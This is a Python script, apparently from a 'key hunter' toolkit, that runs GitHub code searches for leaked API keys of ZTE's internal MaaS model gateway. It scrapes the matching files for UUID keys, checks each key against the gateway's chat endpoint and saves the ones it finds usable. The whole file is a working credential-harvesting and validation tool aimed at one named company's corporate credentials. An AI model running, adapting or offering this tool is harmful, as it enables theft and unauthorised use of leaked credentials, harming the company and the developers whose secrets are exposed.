Files
hack/tools/scripts/llm-key-hunter/hunt_zte_maas.py
T

328 lines
12 KiB
Python

#!/usr/bin/env python3
"""Deep hunter for ZTE MaaS API gateway (maas-apigateway.dt.zte.com.cn).
ZTE corporate MaaS platform proxies models under /model/<slug>/v1.
Keys are UUIDs (8-4-4-4-12). Gateway is IP-allowlisted: TLS completes but
HTTP hangs from outside, so leaked keys are corporate credentials.
Only explicit 401/invalid-key = DEAD. Timeout/000 = UNKNOWN (may be valid
behind VPN). Real 200 with choices = USABLE.
"""
import json, os, re, sys, time, urllib.parse, urllib.request, urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
HERE = Path(__file__).resolve().parent
OUT = HERE / "results" / "zte_maas"
OUT.mkdir(parents=True, exist_ok=True)
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
TOKEN = (os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
or os.popen("gh auth token 2>/dev/null").read().strip())
GH_OPENER = (urllib.request.build_opener(
urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}))
if GH_PROXY else urllib.request.build_opener())
DIRECT = urllib.request.build_opener()
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0 Safari/537.36")
HOST = "maas-apigateway.dt.zte.com.cn"
UUID_RE = re.compile(
r"\b[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-"
r"[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\b"
)
MODEL_SLUG_RE = re.compile(r"/model/([A-Za-z0-9_\-.]+?)/v1")
MODEL_NAME_RE = re.compile(r'"model"\s*:\s*"([^"]+)"')
CONTEXT = ("zte.com.cn", "maas-apigateway", "zte", "REMOTE_API_KEY",
"REMOTE_BASE_URL", "qwen3-coder", "ZTE_MAAS", "zte_maas")
FAKE = ("00000000-0000-0000-0000-000000000000", "12345678-1234-1234-1234-123456789012",
"xxxxxxxx", "your-", "example", "replace", "changeme", "placeholder", "<")
QUERIES = [
'"maas-apigateway.dt.zte.com.cn"',
'"maas-apigateway" zte',
'"dt.zte.com.cn"',
'"REMOTE_API_KEY" zte',
'"REMOTE_BASE_URL" zte',
'"qwen3-coder-480b"',
'"Qwen3-Coder-480B"',
'"zte.com.cn" "Bearer" extension:py',
'"zte.com.cn" "Bearer" extension:js',
'"zte.com.cn" "api_key" extension:py',
'"zte.com.cn" "api_key" extension:js',
'"zte.com.cn" extension:env',
'"zte.com.cn" extension:yaml',
'"zte.com.cn" extension:yml',
'"zte.com.cn" extension:json',
'"zte.com.cn" extension:sh',
'"maas-apigateway" extension:py',
'"maas-apigateway" extension:js',
'"maas-apigateway" extension:env',
'"maas-apigateway" extension:yaml',
'"ZTE_MAAS"',
'"zte_maas"',
'"ZTE_API_KEY"',
'"/model/qwen" zte',
]
def gh_code_search(query, max_results=100):
out = []
for page in range(1, 4):
url = ("https://api.github.com/search/code?"
+ urllib.parse.urlencode({"q": query, "per_page": 100, "page": page}))
req = urllib.request.Request(url, headers={
"Authorization": "token " + TOKEN,
"Accept": "application/vnd.github+json",
"User-Agent": "zte-maas-hunter/1.0"})
try:
with GH_OPENER.open(req, timeout=30) as r:
data = json.loads(r.read())
except urllib.error.HTTPError as e:
if e.code in (403, 429):
reset = e.headers.get("X-RateLimit-Reset")
wait = min(max(int(reset) - int(time.time()) + 2, 2), 120) if reset else 30
time.sleep(wait); continue
if e.code == 422:
break
time.sleep(5); continue
except Exception:
time.sleep(5); continue
items = data.get("items", [])
for it in items:
out.append((it["repository"]["full_name"], it["path"], it["html_url"]))
if len(items) < 100:
break
time.sleep(6.5)
return out[:max_results]
def fetch_raw(repo, path):
for ref in ("HEAD", "main", "master"):
url = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}"
req = urllib.request.Request(url, headers={"User-Agent": UA})
try:
with GH_OPENER.open(req, timeout=25) as r:
return r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
if e.code == 404:
continue
return ""
except Exception:
continue
return ""
def harvest(text):
"""Return (keys, model_slugs, model_names)."""
if not text:
return set(), set(), set()
low = text.lower()
if not any(c.lower() in low for c in CONTEXT):
return set(), set(), set()
keys = set()
for m in UUID_RE.finditer(text):
k = m.group(0)
kl = k.lower()
if any(f in kl for f in FAKE):
continue
# Gate: must be near an API-key assignment or zte context
lo = max(0, m.start() - 120)
hi = min(len(text), m.end() + 120)
window = text[lo:hi].lower()
if not any(sig in window for sig in
("api_key", "apikey", "api-key", "bearer", "token", "secret",
"authorization", "key", "zte", "maas", "remote_api",
"base_url")):
continue
keys.add(k)
slugs = set(MODEL_SLUG_RE.findall(text))
names = set(MODEL_NAME_RE.findall(text))
return keys, slugs, names
def classify(code, body):
j = None
try:
j = json.loads(body)
except Exception:
pass
msg = ""
choices = None
if isinstance(j, dict):
err = j.get("error")
if isinstance(err, dict):
msg = str(err.get("message", ""))[:200]
elif isinstance(err, str):
msg = err[:200]
choices = j.get("choices")
if choices:
return "USABLE", "200 choices"
if code == 401:
return "DEAD", f"401 {msg}".strip()
if code == 402:
return "NO_BALANCE", f"402 {msg}".strip()
if code == 429:
return "NO_BALANCE", f"429 {msg}".strip()
if code == 200:
if choices is None:
return "UNKNOWN", f"200 no choices: {body[:120]}"
return "USABLE", "200 choices"
if code == 400:
ml = msg.lower()
if any(w in ml for w in ("invalid", "unauthor", "api key", "authentication",
"incorrect")):
return "DEAD", f"400 {msg}".strip()
if any(w in ml for w in ("balance", "quota", "insufficient", "limit",
"payment", "arrears")):
return "NO_BALANCE", f"400 {msg}".strip()
return "NO_ACCESS", f"400 {msg}".strip()
if code == 0:
return "UNKNOWN", "timeout/connection (IP-gated?)"
if code in (403, 404, 422, 451):
return "NO_ACCESS", f"{code} {msg}".strip()
return "UNKNOWN", f"{code} {msg}".strip()
def verify_one(key, slug="qwen3-coder-480b", model="Qwen3-Coder-480B-A35B-Instruct"):
"""Verify a UUID key against ZTE MaaS. Tries known model slugs."""
slugs = [slug]
for s in ("qwen3-coder-480b", "qwen-coder", "deepseek", "glm", "qwen"):
if s not in slugs:
slugs.append(s)
body = json.dumps({
"model": model,
"messages": [{"role": "user", "content": "ok"}],
"max_tokens": 5, "temperature": 0,
}).encode()
last = "no model tried"
for sl in slugs:
url = f"https://{HOST}/model/{sl}/v1/chat/completions"
req = urllib.request.Request(url, data=body, headers={
"Authorization": "Bearer " + key,
"Content-Type": "application/json",
"User-Agent": UA, "Accept": "application/json"})
try:
with DIRECT.open(req, timeout=25) as r:
code = r.getcode()
data = r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
code = e.code
try:
data = e.read().decode("utf-8", "replace")
except Exception:
data = ""
except Exception as e:
last = f"net {type(e).__name__}"
continue
v, d = classify(code, data)
if v in ("USABLE", "DEAD", "NO_BALANCE"):
return v, f"{sl} {d}"
last = f"{sl} {d}"
return "UNKNOWN", last
def verify(key):
return verify_one(key)
def main():
import argparse
ap = argparse.ArgumentParser()
ap.add_argument("--search", action="store_true")
ap.add_argument("--verify", action="store_true")
ap.add_argument("--workers", type=int, default=16)
ap.add_argument("--key", default=None, help="Verify a single key directly")
args = ap.parse_args()
if args.key:
v, d = verify(args.key)
print(f"{v}\t{d}")
return
cand = OUT / "candidates.tsv"
if args.search:
seen = set()
if cand.exists():
for ln in cand.read_text().splitlines():
p = ln.split("\t")
if len(p) >= 3:
seen.add(p[2])
print(f"proxy={GH_PROXY} token={'yes' if TOKEN else 'NO'}")
for q in QUERIES:
res = gh_code_search(q)
new = [r for r in res if r[2] not in seen]
for repo, path, url in new:
seen.add(url)
with cand.open("a") as f:
f.write(f"{repo}\t{path}\t{url}\n")
print(f" {q:48} {len(res):3} hits, {len(new):3} new", flush=True)
time.sleep(2)
print(f"candidate files -> {cand}")
if args.verify:
if not cand.exists():
print("no candidates.tsv (run --search first)"); return
files = [ln.rstrip("\n").split("\t") for ln in cand.read_text().splitlines()
if ln.strip()]
print(f"harvesting {len(files)} files...")
keys = {}
all_slugs = set()
all_names = set()
for i, (repo, path, url) in enumerate(files):
text = fetch_raw(repo, path)
ks, slugs, names = harvest(text)
for k in ks:
keys.setdefault(k, url)
all_slugs.update(slugs)
all_names.update(names)
if (i + 1) % 25 == 0:
print(f" {i+1}/{len(files)} keys={len(keys)}", flush=True)
time.sleep(0.1)
print(f"harvested {len(keys)} unique candidate keys")
if all_slugs:
print(f"model slugs found: {sorted(all_slugs)}")
(OUT / "model_slugs.txt").write_text("\n".join(sorted(all_slugs)))
if all_names:
print(f"model names found: {sorted(all_names)}")
(OUT / "model_names.txt").write_text("\n".join(sorted(all_names)))
buckets = {k: [] for k in
("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD")}
with CachedVerifier("zte_maas", verify) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as ex:
futs = {ex.submit(ver, k): (k, s) for k, s in keys.items()}
done = 0
for fut in as_completed(futs):
k, s = futs[fut]; done += 1
try:
v, d = fut.result()
except Exception as e:
v, d = "UNKNOWN", f"exc:{e}"
buckets[v].append((k, s, d))
if done % 10 == 0:
print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} "
f"unknown={len(buckets['UNKNOWN'])} "
f"dead={len(buckets['DEAD'])}", flush=True)
for label in buckets:
with (OUT / f"{label.lower()}.txt").open("w") as f:
for k, s, d in buckets[label]:
f.write(f"{k}\t{s}\t{d}\n")
print()
for label in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
print(f" {label:11}: {len(buckets[label])}")
for k, s, d in buckets["USABLE"]:
print(f" ✅ {k} {d}")
print(f" {s}")
for k, s, d in buckets["UNKNOWN"][:10]:
print(f" ❓ {k} {d}")
if __name__ == "__main__":
main()